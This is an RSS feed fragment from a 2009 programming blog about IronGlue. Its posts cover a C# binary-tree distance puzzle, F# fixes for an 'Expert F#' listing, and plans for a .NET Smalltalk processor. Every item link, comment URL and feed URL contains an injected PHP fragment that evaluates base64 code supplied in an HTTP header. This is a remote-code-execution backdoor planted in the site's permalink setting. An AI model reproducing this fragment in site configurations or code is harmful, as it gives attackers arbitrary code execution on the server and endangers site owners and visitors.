<p>I have come up with a code, please, try to write a better one and be famous <img src='http://www.ironglue.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> The code marked in red is the code doing the requested stuff. The rest is a code necessary to test it</p>
<h4><span style="font-family: Tahoma; font-size: x-small;">//code starts here <span style="color: #ff0000;">the code in red is the  requested solution</span><br />
<span style="font-weight: bold;">using  System;</span><br style="font-weight: bold;" /><span style="font-weight: bold;">using System.Collections.Generic;</span><br style="font-weight: bold;" /><span style="font-weight: bold;">using  System.Linq;</span><br style="font-weight: bold;" /><span style="font-weight: bold;">using System.Text;</span><br style="font-weight: bold;" /><br style="font-weight: bold;" /><span style="font-weight: bold;">namespace BSTree</span><br style="font-weight: bold;" /><span style="font-weight: bold;">{</span><br style="font-weight: bold;" /><span style="font-weight: bold;"> class  Program</span><br style="font-weight: bold;" /><span style="font-weight: bold;"> {</span><br style="font-weight: bold;" /><span style="font-weight: bold;"> static void Main(string[] args)</span><br style="font-weight: bold;" /><span style="font-weight: bold;"> {</span><br style="font-weight: bold;" /><span style="font-weight: bold;"> var head = new  BTreeNode&lt;int&gt;(20);</span><br style="font-weight: bold;" /><span style="font-weight: bold;"> int[] myArray = new int[] { 12, 26, 32, 2,  23, 46, 76, 28, 25 };</span><br style="font-weight: bold;" /><span style="font-weight: bold;"> foreach (var item in myArray)</span><br style="font-weight: bold;" /><span style="font-weight: bold;"> {</span><br style="font-weight: bold;" /><span style="font-weight: bold;"> head.add(item);</span><br style="font-weight: bold;" /><span style="font-weight: bold;"> }</span><br style="font-weight: bold;" /><br style="font-weight: bold;" /><span style="font-weight: bold;"> //test</span><br style="font-weight: bold;" /><span style="font-weight: bold;"> var  nodeDistance = distance(head, 25, 76); //should be 5</span><br style="font-weight: bold;" /><span style="font-weight: bold;"> nodeDistance = distance(head, 26, 76); //should be 3</span><br style="font-weight: bold;" /><span style="font-weight: bold;"> nodeDistance = distance(head, 46, 46); //should be 3</span><br style="font-weight: bold;" /><span style="font-weight: bold;"> }</span><br style="font-weight: bold;" /><br style="font-weight: bold;" /><span style="font-weight: bold;"> <span style="color: #ff0000;">static int  distance(BTreeNode&lt;int&gt; node, int start, int end)</span></span><br style="color: #ff0000; font-weight: bold;" /><span style="color: #ff0000; font-weight: bold;"> {</span><br style="color: #ff0000; font-weight: bold;" /><span style="color: #ff0000; font-weight: bold;"> int first =  Math.Min(start, end);</span><br style="color: #ff0000; font-weight: bold;" /><span style="color: #ff0000; font-weight: bold;"> int second =  Math.Max(start, end);</span><br style="color: #ff0000; font-weight: bold;" /><span style="color: #ff0000; font-weight: bold;"> BTreeNode&lt;int&gt;  myHead = node;</span><br style="color: #ff0000; font-weight: bold;" /><span style="color: #ff0000; font-weight: bold;"> int result =  0;</span><br style="color: #ff0000; font-weight: bold;" /><span style="color: #ff0000; font-weight: bold;"> if ((first &lt;=  node.value) &amp;&amp; (node.value &lt;= second))</span><br style="color: #ff0000; font-weight: bold;" /><span style="color: #ff0000; font-weight: bold;"> result =  directDistance(node, first) + directDistance(node, second);</span><br style="color: #ff0000; font-weight: bold;" /><span style="color: #ff0000; font-weight: bold;"> else if ((first &lt;  node.value) &amp;&amp; (second &lt; node.value))</span><br style="color: #ff0000; font-weight: bold;" /><span style="color: #ff0000; font-weight: bold;"> result =  distance(node.left, first, second);</span><br style="color: #ff0000; font-weight: bold;" /><span style="color: #ff0000; font-weight: bold;"> else if ((first &gt;  node.value) &amp;&amp; (second &gt; node.value))</span><br style="color: #ff0000; font-weight: bold;" /><span style="color: #ff0000; font-weight: bold;"> result =  distance(node.right, first, second);</span><br style="color: #ff0000; font-weight: bold;" /><span style="color: #ff0000; font-weight: bold;"> return  result;</span><br style="color: #ff0000; font-weight: bold;" /><span style="color: #ff0000; font-weight: bold;"> }</span><br style="color: #ff0000; font-weight: bold;" /><br style="color: #ff0000; font-weight: bold;" /><span style="color: #ff0000; font-weight: bold;"> static int  directDistance(BTreeNode&lt;int&gt; node,  int end)</span><br style="color: #ff0000; font-weight: bold;" /><span style="color: #ff0000; font-weight: bold;"> {</span><br style="color: #ff0000; font-weight: bold;" /><span style="color: #ff0000; font-weight: bold;"> int result =  0;</span><br style="color: #ff0000; font-weight: bold;" /><span style="color: #ff0000; font-weight: bold;"> if (node.value &gt;  end)</span><br style="color: #ff0000; font-weight: bold;" /><span style="color: #ff0000; font-weight: bold;"> result = 1 +  directDistance(node.left, end);</span><br style="color: #ff0000; font-weight: bold;" /><span style="color: #ff0000; font-weight: bold;"> else if (node.value  &lt; end)</span><br style="color: #ff0000; font-weight: bold;" /><span style="color: #ff0000; font-weight: bold;"> result = 1 +  directDistance(node.right, end);</span><br style="color: #ff0000; font-weight: bold;" /><span style="color: #ff0000; font-weight: bold;"> return  result;</span><br style="color: #ff0000; font-weight: bold;" /><span style="color: #ff0000; font-weight: bold;"> }</span><br style="font-weight: bold;" /><br style="font-weight: bold;" /><span style="font-weight: bold;"> }</span><br style="font-weight: bold;" /><span style="font-weight: bold;"> </span><br style="font-weight: bold;" /><span style="font-weight: bold;"> public class BTreeNode&lt;T&gt; where  T:IComparable </span><br style="font-weight: bold;" /><span style="font-weight: bold;"> {</span><br style="font-weight: bold;" /><br style="font-weight: bold;" /><span style="font-weight: bold;"> public T  value;</span><br style="font-weight: bold;" /><span style="font-weight: bold;"> public BTreeNode&lt;T&gt; left;</span><br style="font-weight: bold;" /><span style="font-weight: bold;"> public  BTreeNode&lt;T&gt; right;</span><br style="font-weight: bold;" /><br style="font-weight: bold;" /><span style="font-weight: bold;"> public  BTreeNode(T telem)</span><br style="font-weight: bold;" /><span style="font-weight: bold;"> {</span><br style="font-weight: bold;" /><span style="font-weight: bold;"> value = telem;</span><br style="font-weight: bold;" /><span style="font-weight: bold;"> }</span><br style="font-weight: bold;" /><br style="font-weight: bold;" /><span style="font-weight: bold;"> public void add(T element)</span><br style="font-weight: bold;" /><span style="font-weight: bold;"> {</span><br style="font-weight: bold;" /><span style="font-weight: bold;"> if  (element.CompareTo(value) &lt; 0)</span><br style="font-weight: bold;" /><span style="font-weight: bold;"> addPrim(element, ref left);</span><br style="font-weight: bold;" /><span style="font-weight: bold;"> else</span><br style="font-weight: bold;" /><span style="font-weight: bold;"> addPrim(element, ref right);</span><br style="font-weight: bold;" /><span style="font-weight: bold;"> }</span><br style="font-weight: bold;" /><br style="font-weight: bold;" /><span style="font-weight: bold;"> //this is implemented for maintenance  reason</span><br style="font-weight: bold;" /><span style="font-weight: bold;"> private void addPrim(T elem, ref  BTreeNode&lt;T&gt; leftRight)</span><br style="font-weight: bold;" /><span style="font-weight: bold;"> {</span><br style="font-weight: bold;" /><br style="font-weight: bold;" /><span style="font-weight: bold;"> if  (leftRight == null)</span><br style="font-weight: bold;" /><span style="font-weight: bold;"> leftRight = new  BTreeNode&lt;T&gt;(elem);</span><br style="font-weight: bold;" /><span style="font-weight: bold;"> else</span><br style="font-weight: bold;" /><span style="font-weight: bold;"> leftRight.add(elem);</span><br style="font-weight: bold;" /><span style="font-weight: bold;"> }</span><br style="font-weight: bold;" /><span style="font-weight: bold;"> }</span><br style="font-weight: bold;" /><span style="font-weight: bold;">}</span><br />
</span></h4>
<p>Please, send your code, try to come up with a better code. I would like to see a code in C# as well as in F#</p>
]]></content:encoded>
			<wfw:commentRss>http://www.ironglue.com/2009/07/14/programming-challenge-have-fun-1/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Expert F# Listing 9-10</title>
		<link>http://www.ironglue.com/2009/06/29/expert-f-listing-9-10/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://www.ironglue.com/2009/06/29/expert-f-listing-9-10/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Mon, 29 Jun 2009 14:31:28 +0000</pubDate>
		<dc:creator>Vlastimil Adamovsky</dc:creator>
		
		<category><![CDATA[F#]]></category>

		<category><![CDATA[F# Functional]]></category>

		<guid isPermaLink="false">http://www.ironglue.com/?p=94</guid>
		<description><![CDATA[As I was learning F# from an excellent book &#8220;Expert F#&#8221;, I could not make the example (listing 9-10) work with the latest version of F#, which currently is 1.9.6.16
I made some changes in the code (which was an excellent opportunity to get more intimate with the current version F#) and my corrections are here:
added:    [...]]]></description>
			<content:encoded><![CDATA[<p>As I was learning F# from an excellent book &#8220;Expert F#&#8221;, I could not make the example (listing 9-10) work with the latest version of F#, which currently is 1.9.6.16</p>
<p>I made some changes in the code (which was an excellent opportunity to get more intimate with the current version F#) and my corrections are here:</p>
<p>added:    open Microsoft.FSharp.Compatibility</p>
<p>changed:</p>
<p>1)</p>
<p>//old<br />
//    let fields =<br />
//        match Type.getGetInfo(schemaType) with<br />
//        |  RecordType(fields) -&gt;  fields<br />
//        | _ -&gt;  failwithf &#8220;this schema compiler expects a record type&#8221;</p>
<p>//new<br />
let fields =<br />
match schemaType with<br />
| a when  FSharpType.IsRecord(a) -&gt; FSharpType.GetRecordFields(a)<br />
| _ -&gt;  failwithf &#8220;this schema compiler expects a record type&#8221;</p>
<p>2)</p>
<p>//old<br />
//        fields |&gt; List.mapi (fun fldIdx (fieldName,fieldType) -&gt;<br />
//            let fieldInfo = schemaType.GetProperty(fieldName)</p>
<p>//new<br />
fields |&gt; Array.mapi (fun fldIdx fieldInfo -&gt;<br />
let fieldType = fieldInfo.PropertyType<br />
let fieldName = fieldInfo.Name<br />
//end new</p>
<p>3)  &#8212; removed</p>
<p>// |&gt; List.to_array  &#8211;&gt; this line has been removed</p>
<p>4)</p>
<p>//old<br />
//Permutation(schema.Length,<br />
//new<br />
Permutation.of_pairs(<br />
//end new</p>
<p>5)</p>
<p>//old<br />
//let objectBuilder =          Reflection.Value.GetRecordConstructor(schemaType)<br />
//new<br />
let objectBuilder = Reflection.FSharpValue.PreComputeRecordConstructor(schemaType)<br />
//end new</p>
<p>That&#8217;s it</p>
]]></content:encoded>
			<wfw:commentRss>http://www.ironglue.com/2009/06/29/expert-f-listing-9-10/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>DoesNotUnderstand</title>
		<link>http://www.ironglue.com/2009/06/25/doesnotunderstand/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://www.ironglue.com/2009/06/25/doesnotunderstand/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Thu, 25 Jun 2009 16:52:27 +0000</pubDate>
		<dc:creator>Vlastimil Adamovsky</dc:creator>
		
		<category><![CDATA[F#]]></category>

		<category><![CDATA[IronGlue]]></category>

		<guid isPermaLink="false">http://www.ironglue.com/?p=90</guid>
		<description><![CDATA[One of the &#8220;obstacles&#8221; making it difficult to port Smalltalk code to .NET world is the fact that C# (one the most popular .NET languages) does not support  &#8221;doesNotUnderstand&#8221; method&#8230;. I don&#8217;t understand why, though&#8230;
After reading a very good article on F# nomads, it hit me, that it is actually pretty simple to implement this [...]]]></description>
			<content:encoded><![CDATA[<p>One of the &#8220;obstacles&#8221; making it difficult to port Smalltalk code to .NET world is the fact that C# (one the most popular .NET languages) does not support  &#8221;doesNotUnderstand&#8221; method&#8230;. I don&#8217;t understand why, though&#8230;</p>
<p>After reading a very good <a title="article" href="http://leibnizdream.wordpress.com/2008/10/21/why-use-computation-workflows-aka-monads-in-f/" target="_blank">article </a>on F# nomads, it hit me, that it is actually pretty simple to implement this feature in F#&#8230;  On more reason why to implement Ironglue on top of F# <img src='http://www.ironglue.com/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </p>
]]></content:encoded>
			<wfw:commentRss>http://www.ironglue.com/2009/06/25/doesnotunderstand/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Shaping IronGlue</title>
		<link>http://www.ironglue.com/2009/05/30/shaping-ironglue/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://www.ironglue.com/2009/05/30/shaping-ironglue/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Sat, 30 May 2009 22:57:27 +0000</pubDate>
		<dc:creator>Vlastimil Adamovsky</dc:creator>
		
		<category><![CDATA[IronGlue]]></category>

		<category><![CDATA[F#]]></category>

		<category><![CDATA[Smalltal]]></category>

		<guid isPermaLink="false">http://www.ironglue.com/?p=84</guid>
		<description><![CDATA[I started this project as an open source project, the goal of which was to come up
with a .NET enabled version of Smalltalk. After having learned F#, I realized, that the thing
we need is not a new version of Smalltalk. We need a .NET base Smalltalk language processor
which basically will replace the current VM. Simple, [...]]]></description>
			<content:encoded><![CDATA[<p>I started this project as an open source project, the goal of which was to come up<br />
with a .NET enabled version of Smalltalk. After having learned F#, I realized, that the thing<br />
we need is not a new version of Smalltalk. We need a .NET base Smalltalk language processor<br />
which basically will replace the current VM. Simple, isn&#8217;t it ?<br />
The language still will be called <strong>IronGlue</strong> and basically will be a JIT porting machine using advanced memoizing techniques.Most of my future articles for some time will be dedicated to F# (or Ocaml) , which the IronGlue is building on .</p>
]]></content:encoded>
			<wfw:commentRss>http://www.ironglue.com/2009/05/30/shaping-ironglue/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>IronGlue repository</title>
		<link>http://www.ironglue.com/2009/04/30/ironglue-repository/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://www.ironglue.com/2009/04/30/ironglue-repository/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Thu, 30 Apr 2009 09:53:31 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[IronGlue]]></category>

		<category><![CDATA[ANTLR]]></category>

		<category><![CDATA[C#]]></category>

		<category><![CDATA[F#]]></category>

		<category><![CDATA[Smalltalk]]></category>

		<guid isPermaLink="false">http://www.ironglue.com/?p=80</guid>
		<description><![CDATA[I just noticed, that many people may not knw where the source code for IronGlue is (will be &#8230;..),,
The location is:  http://ironglue.codeplex.com
]]></description>
			<content:encoded><![CDATA[<p>I just noticed, that many people may not knw where the source code for IronGlue is (will be &#8230;..),,</p>
<p>The location is:  <a href="http://ironglue.codeplex.com">http://ironglue.codeplex.com</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.ironglue.com/2009/04/30/ironglue-repository/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Changing directions&#8230;</title>
		<link>http://www.ironglue.com/2009/04/25/changing-directions/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://www.ironglue.com/2009/04/25/changing-directions/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Sun, 26 Apr 2009 01:37:41 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://www.ironglue.com/?p=68</guid>
		<description><![CDATA[While working on Ironglue, I realized, that really, the software are  many pieces of generic stuff  glued together. Thus, you will find here articles which will be not only the IronGlue project related but also about all other things that make this project possible or the other way around ..
So, don&#8217;t be surprised, if you&#8217;ll find [...]]]></description>
			<content:encoded><![CDATA[<p><img class="alignleft size-full wp-image-72" title="thm_butterfly_cartoon_3" src="http://www.ironglue.com/wp-content/uploads/2009/04/thm_butterfly_cartoon_3.jpg" alt="thm_butterfly_cartoon_3" width="82" height="72" />While working on Ironglue, I realized, that really, the software are  many pieces of generic stuff  <strong>glued</strong> together. Thus, you will find here articles which will be not only the IronGlue project related but also about all other things that make this project possible or the other way around ..</p>
<p>So, don&#8217;t be surprised, if you&#8217;ll find here articles talking about F#, ANTLR, Smalltalk  , corporate &#8220;culture&#8221;  and current economic situation on the same page&#8230;.<br />
Do I here &#8220;<strong>Butterfly effect</strong>&#8220;?</p>
]]></content:encoded>
			<wfw:commentRss>http://www.ironglue.com/2009/04/25/changing-directions/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
	</channel>
</rss>
